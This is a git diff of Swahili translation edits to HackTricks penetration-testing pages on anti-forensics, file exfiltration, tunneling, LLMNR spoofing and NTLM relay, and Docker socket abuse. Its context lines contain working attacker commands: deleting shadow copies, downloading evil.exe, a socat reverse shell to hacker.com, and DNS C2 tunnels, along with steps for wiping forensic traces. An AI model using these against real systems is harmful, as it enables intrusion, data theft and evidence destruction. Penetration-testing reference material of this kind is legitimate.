matokeo ya zana inawezekana kuona kuwa **baadhi ya mabadiliko yalifanywa**. -Kwa kutumia zana hiyo hiyo inawezekana kutambua **ni wakati gani timestamps zilipobadilishwa**: +Kwa kutumia zana hiyo hiyo inawezekana kutambua **wakati timestamps zilipobadilishwa**: ![](<../../images/image (451).png>) @@ -40,7 +40,7 @@ Kwa kutumia zana hiyo hiyo inawezekana kutambua **ni wakati gani timestamps zili ## `$STANDARD_INFORMATION` na `$FILE_NAME` kulinganisha -Njia nyingine ya kutambua faili zilizobadilishwa kwa njia ya kutatanisha ni kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**. +Njia nyingine ya kutambua faili zilizobadilishwa kwa njia ya kutatanisha ingekuwa kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**. ## Nanoseconds @@ -52,22 +52,22 @@ Zana hii inaweza kubadilisha sifa zote mbili `$STARNDAR_INFORMATION` na `$FILE_N # Data Hiding -NFTS inatumia klasta na ukubwa wa taarifa wa chini. Hii inamaanisha kwamba ikiwa faili inachukua klasta na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili itakapofutwa. Hivyo, inawezekana **kuficha data katika nafasi hii ya slack**. +NFTS inatumia klasta na ukubwa wa chini wa taarifa. Hii inamaanisha kwamba ikiwa faili inachukua klasta na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili itakapofutwa. Hivyo, inawezekana **kuficha data katika nafasi hii ya slack**. Kuna zana kama slacker zinazoruhusu kuficha data katika nafasi hii "iliyojificha". Hata hivyo, uchambuzi wa `$logfile` na `$usnjrnl` unaweza kuonyesha kuwa baadhi ya data iliongezwa: ![](<../../images/image (452).png>) -Hivyo, inawezekana kurejesha nafasi ya slack kwa kutumia zana kama FTK Imager. Kumbuka kuwa aina hii ya zana inaweza kuhifadhi maudhui yaliyofichwa au hata yaliyosimbwa. +Hivyo, inawezekana kurejesha nafasi ya slack kwa kutumia zana kama FTK Imager. Kumbuka kwamba aina hii ya zana inaweza kuhifadhi maudhui yaliyofichwa au hata yaliyosimbwa. # UsbKill -Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** bandari yanagundulika.\ -Njia moja ya kugundua hii ni kukagua michakato inayoendesha na **kurejea kila script ya python inayotembea**. +Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** ports yanagundulika.\ +Njia moja ya kugundua hii ingekuwa kukagua michakato inayotembea na **kurejea kila script ya python inayotembea**. # Live Linux Distributions -Hizi distros zina **tekelezwa ndani ya RAM** kumbukumbu. Njia pekee ya kuzitambua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi. +Hizi distros zina **tekelezwa ndani ya kumbukumbu ya RAM**. Njia pekee ya kuzitambua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi. # Secure Deletion @@ -79,12 +79,12 @@ Inawezekana kuzima mbinu kadhaa za kurekodi za windows ili kufanya uchunguzi wa ## Disable Timestamps - UserAssist -Hii ni funguo ya rejista inayohifadhi tarehe na saa wakati kila executable ilipokimbizwa na mtumiaji. +Hii ni funguo ya rejista inayoshikilia tarehe na saa wakati kila executable ilipokimbizwa na mtumiaji. Kuzima UserAssist kunahitaji hatua mbili: 1. Weka funguo mbili za rejista, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` na `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, zote kuwa sifuri ili kuashiria kwamba tunataka UserAssist izimwe. -2. Futa subtrees zako za rejista zinazofanana na `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +2. Futa subtrees zako za rejista ambazo zinaonekana kama `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. ## Disable Timestamps - Prefetch @@ -93,22 +93,22 @@ Hii itahifadhi taarifa kuhusu programu zilizotekelezwa kwa lengo la kuboresha ut - Tekeleza `regedit` - Chagua njia ya faili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` - Bonyeza kulia kwenye `EnablePrefetcher` na `EnableSuperfetch` -- Chagua Badilisha kwenye kila moja ya hizi kubadilisha thamani kutoka 1 (au 3) hadi 0 +- Chagua Badilisha kwenye kila moja ya hizi kubadilisha thamani kutoka 1 (au 3) kuwa 0 - Anzisha upya ## Disable Timestamps - Last Access Time -Wakati wowote folda inafunguliwa kutoka kiasi cha NTFS kwenye seva ya Windows NT, mfumo unachukua wakati wa **kupdate timestamp field kwenye kila folda iliyoorodheshwa**, inayoitwa wakati wa mwisho wa ufikiaji. Katika kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji. +Kila wakati folda inafunguliwa kutoka kiasi cha NTFS kwenye seva ya Windows NT, mfumo unachukua wakati wa **k曎新 timestamp field kwenye kila folda iliyoorodheshwa**, inayoitwa wakati wa mwisho wa ufikiaji. Katika kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji. 1. Fungua Mhariri wa Rejista (Regedit.exe). 2. Tembelea `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza hii DWORD na weka thamani yake kuwa 1, ambayo itazima mchakato. -4. Funga Mhariri wa Rejista, na uanzishe upya seva. +3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza DWORD hii na weka thamani yake kuwa 1, ambayo itazima mchakato. +4. Funga Mhariri wa Rejista, na anzisha upya seva. ## Delete USB History -Makala yote ya **USB Device Entries** huhifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo zinazoundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\ -Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) kuhakikisha umekifuta (na kukifuta). +Makala yote ya **USB Device Entries** yanahifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo zinazoundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\ +Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) ili kuwa na uhakika umekifuta (na kufuta). Faili nyingine inayohifadhi taarifa kuhusu USB ni faili `setupapi.dev.log` ndani ya `C:\Windows\INF`. Hii pia inapaswa kufutwa. @@ -117,13 +117,13 @@ Faili nyingine inayohifadhi taarifa kuhusu USB ni faili `setupapi.dev.log` ndani **Orodha** ya nakala za kivuli kwa kutumia `vssadmin list shadowstorage`\ **Futa** kwa kuendesha `vssadmin delete shadow` -Unaweza pia kuzifuta kupitia GUI ukifuatilia hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Unaweza pia kuzifuta kupitia GUI kwa kufuata hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) Ili kuzima nakala za kivuli [hatua kutoka hapa](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): 1. Fungua programu za Huduma kwa kuandika "services" kwenye kisanduku cha kutafuta maandiko baada ya kubonyeza kitufe cha kuanzisha cha Windows. 2. Kutoka kwenye orodha, pata "Volume Shadow Copy", chagua, kisha upate Mali kwa kubonyeza kulia. -3. Chagua Zime kutoka kwenye orodha ya "Aina ya Kuanzisha", kisha thibitisha mabadiliko kwa kubonyeza Apply na OK. +3. Chagua Zimezima kutoka kwenye orodha ya "Aina ya Kuanzisha", kisha thibitisha mabadiliko kwa kubonyeza Tumia na Sawa. Pia inawezekana kubadilisha usanidi wa faili zipi zitakazokopwa katika nakala ya kivuli katika rejista `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 489f80afa..4493758eb 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -45,7 +45,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ### Pakia faili - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- [**SimpleHttpServer printing GET and POSTs (pia vichwa)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) - Moduli ya Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files @@ -181,7 +181,7 @@ scp @:/ ``` ## SSHFS -Ikiwa mwathirika ana SSH, mshambuliaji anaweza kuunganisha saraka kutoka kwa mwathirika hadi kwa mshambuliaji. +Ikiwa mwathirika ana SSH, mshambuliaji anaweza kuunganisha directory kutoka kwa mwathirika hadi kwa mshambuliaji. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs @@ -228,7 +228,7 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa python: +Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` @@ -248,13 +248,13 @@ cp /path/tp/nc.exe /tftp pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` -Katika **mhasiriwa**, ungana na seva ya Kali: +Katika **muhanga**, ungana na seva ya Kali: ```bash tftp -i get nc.exe ``` ## PHP -Pakua faili yenye PHP oneliner: +Pakua faili na PHP oneliner: ```bash echo "" > down2.php ``` @@ -296,14 +296,18 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga tena kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuunda faili la binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha kuunda faili hadi ukubwa wa 64 kb**. +Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga tena kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuunda faili la binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha kuunganisha faili hadi ukubwa wa 64 kb**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -Kisha nakili-na-kupaste maandiko hayo kwenye windows-shell na faili inayoitwa nc.exe itaundwa. +Kisha nakala-na-kupasta maandiko hayo kwenye windows-shell na faili inayoitwa nc.exe itaundwa. + +- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) ## DNS +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index a6e912ebf..f0f9e8f1a 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Nmap tip > [!WARNING] -> **ICMP** na **SYN** skani haziwezekani kupitishwa kupitia socks proxies, hivyo lazima **tuondoe kugundua ping** (`-Pn`) na kubaini **TCP skani** (`-sT`) ili hii ifanye kazi. +> **ICMP** na **SYN** skani haziwezekani kupitishwa kupitia socks proxies, hivyo tunapaswa **kuondoa kugundua ping** (`-Pn`) na kubainisha **TCP skani** (`-sT`) ili hii ifanye kazi. ## **Bash** @@ -33,7 +33,7 @@ ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port -Fungua Bandari Mpya kwenye SSH Server --> Bandari nyingine +Fungua Bandari Mpya kwenye SSH Server --> Bandari Nyingine ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -51,7 +51,7 @@ sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) -Porti za ndani --> Kihosti kilichoshambuliwa (SSH) --> Popote +Local Port --> Compromised host (SSH) --> Popote ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` @@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` -Washa uhamasishaji upande wa Server +Washa upitishaji upande wa Server ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE @@ -104,7 +104,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' ### Port2Port -Porti za ndani --> Kituo kilichovunjwa (kipindi kinachofanya kazi) --> Sanduku_tatu:Port +Local port --> Compromised host (active session) --> Third_box:Port ```bash # Inside a meterpreter session portfwd add -l -p -r @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Fungua bandari katika teamserver inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**. +Fungua bandari katika server ya timu inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -150,17 +150,17 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -Ili kuzingatia: +To note: - Reverse port forward ya Beacon imeundwa ili **kufanya tunnel trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi**. - Trafiki **inafanywa tunnel ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P. -- **Haki za admin hazihitajiki** kuunda reverse port forwards kwenye bandari za juu. +- **Haki za Admin hazihitajiki** kuunda reverse port forwards kwenye bandari za juu. ### rPort2Port local > [!WARNING] > Katika kesi hii, **bandari imefunguliwa katika mwenyeji wa beacon**, sio katika Team Server na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Team Server) na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa. -``` +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -186,7 +186,7 @@ Unahitaji kutumia **toleo sawa kwa mteja na seva** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` -### Uhamasishaji wa bandari +### Kuelekeza bandari ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim @@ -219,7 +219,7 @@ interface_add_route --name "ligolo" --route / socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathirika: +Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho katika konso ya mwathirika: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) + ### SSL Socat Tunnel **/bin/sh console** @@ -366,7 +368,7 @@ Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupanua trafi ## Proxify Windows GUI Apps -Unaweza kufanya programu za Windows GUI zipitie kupitia proxy kwa kutumia [**Proxifier**](https://www.proxifier.com/).\ +Unaweza kufanya programu za Windows GUI zipite kupitia proxy kwa kutumia [**Proxifier**](https://www.proxifier.com/).\ Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\ Katika **Profile -> Proxification Rules** ongeza jina la programu ya kupanua na muunganisho kwa IP unazotaka kupanua. @@ -381,8 +383,8 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\ -Kwa mfano, inapeleka bandari 443 +Inathibitisha dhidi ya proxy na kuunganisha bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\ +Kwa mfano, hiyo inapeleka bandari 443 ``` Username Alice Password P@ssw0rd @@ -390,8 +392,8 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Sasa, ikiwa unakamilisha kwa mfano katika mwathirika huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\ -Unaweza pia kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222. +Sasa, ikiwa utaweka kwa mfano katika mwathirika huduma ya **SSH** kusikiliza katika bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\ +Pia unaweza kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza katika bandari 2222. ## YARP @@ -403,21 +405,21 @@ Kipindi cha kurudi kilichoundwa na Microsoft. Unaweza kukipata hapa: [https://gi [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root inahitajika katika mifumo yote miwili ili kuunda tun adapters na kupitisha data kati yao kwa kutumia maswali ya DNS. +Root inahitajika katika mifumo yote ili kuunda tun adapters na kupitisha data kati yao kwa kutumia maswali ya DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH uliofinyangwa kupitia tuneli hii kwa kutumia: +Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH ulioshinikizwa kupitia tuneli hii kwa kutumia: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 -[**Pakua kutoka hapa**](https://github.com/iagox86/dnscat2)**.** +[**Download it from here**](https://github.com/iagox86/dnscat2)**.** -Inaunda channel ya C\&C kupitia DNS. Haihitaji ruhusa za root. +Inaunda channel ya C\&C kupitia DNS. Haihitaji ruhusa za mzizi. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -440,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Badilisha DNS ya proxychains -Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**. +Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kuibadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**. ## Tunnels katika Go @@ -453,7 +455,7 @@ Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupi [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root inahitajika katika mifumo yote ili kuunda tun adapters na kutunga data kati yao kwa kutumia ombi la ICMP echo. +Root inahitajika katika mifumo yote miwili ili kuunda tun adapters na kutunga data kati yao kwa kutumia ombi la ICMP echo. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -494,7 +496,7 @@ chmod a+x ./ngrok **Hati:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -_Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima._ +_Ipo pia uwezekano wa kuongeza uthibitisho na TLS, ikiwa ni lazima._ #### Tunneling TCP ```bash @@ -504,7 +506,7 @@ _Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` -#### Kuweka wazi faili kwa HTTP +#### Kuonyesha faili kwa kutumia HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ @@ -521,12 +523,12 @@ Moja kwa moja kutoka stdout au katika kiolesura cha HTTP [http://127.0.0.1:4040] # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` -#### ngrok.yaml mfano rahisi wa usanidi +#### ngrok.yaml mfano wa usanidi rahisi Inafungua mabwawa 3: - 2 TCP -- 1 HTTP na uonyeshaji wa faili za kudumu kutoka /tmp/httpbin/ +- 1 HTTP yenye uwasilishaji wa faili za kudumu kutoka /tmp/httpbin/ ```yaml tunnels: mytcp: diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 70350e858..0ed8d45f7 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -22,7 +22,7 @@ - **Responder** ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, kikijibu kwa kuchagua kulingana na aina za maswali, hasa lengo likiwa huduma za SMB. - Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika `/etc/responder/Responder.conf`. -- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuzihifadhi katika saraka ya `/usr/share/responder/logs`. +- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuziokoa katika saraka ya `/usr/share/responder/logs`. - Inasaidia IPv4 na IPv6. - Toleo la Windows la Responder linapatikana [hapa](https://github.com/lgandx/Responder-Windows). @@ -50,10 +50,10 @@ Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa m ## Inveigh -Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu nyekundu, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya spoofing na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama toleo kuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). +Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya udukuzi na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh inaweza kuendeshwa kupitia PowerShell: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` Au kutekelezwa kama binary ya C#: @@ -62,14 +62,14 @@ Inveigh.exe ``` ### NTLM Relay Attack -Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, ikitoa shell ya mfumo ikiwa ni mafanikio. Masharti muhimu ni: +Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa linafanikiwa. Masharti muhimu ni: - Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa. -- SMB signing inapaswa kuzuiwa. +- Saini ya SMB inapaswa kuzuiliwa. #### 445 Port Forwarding and Tunneling -Katika hali ambapo utangulizi wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuhamasishwa na kutunzwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva. +Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva. PortBender setup and operation in Cobalt Strike: ```bash @@ -87,15 +87,15 @@ beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` -### Zana Nyingine za Shambulio la NTLM Relay +### Other Tools for NTLM Relay Attack -- **Metasploit**: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali. +- **Metasploit**: Sanidiwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali. - **smbrelayx**: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka backdoors. -- **MultiRelay**: Zana kutoka kwenye suite ya Responder kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes. +- **MultiRelay**: Chombo kutoka kwenye suite ya Responder kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutupa hashes. -Kila zana inaweza kuwekewa mipangilio ili kufanya kazi kupitia SOCKS proxy ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja. +Kila chombo kinaweza kuundwa kufanya kazi kupitia SOCKS proxy ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja. -### Uendeshaji wa MultiRelay +### MultiRelay Operation MultiRelay inatekelezwa kutoka kwenye _**/usr/share/responder/tools**_ directory, ikilenga IP au watumiaji maalum. ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 1b1857eea..3241d03ab 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -7,10 +7,10 @@ Kuna nyakati ambapo una **ufikiaji wa docker socket** na unataka kuutumia ili ** ### Via mount Unaweza **kuunganisha** sehemu tofauti za **filesystem** katika kontena linalotembea kama root na **kuzipata**.\ -Unaweza pia **kuitumia mount ili kuinua mamlaka** ndani ya kontena. +Pia unaweza **kudhulumu kuunganisha ili kuinua mamlaka** ndani ya kontena. - **`-v /:/host`** -> Unganisha filesystem ya mwenyeji katika kontena ili uweze **kusoma filesystem ya mwenyeji.** -- Ikiwa unataka **kujihisi kama uko kwenye mwenyeji** lakini uko kwenye kontena unaweza kuzima mitambo mingine ya ulinzi kwa kutumia bendera kama: +- Ikiwa unataka **kujisikia kama uko kwenye mwenyeji** lakini uko kwenye kontena unaweza kuzima mitambo mingine ya ulinzi kwa kutumia bendera kama: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -20,24 +20,24 @@ Unaweza pia **kuitumia mount ili kuinua mamlaka** ndani ya 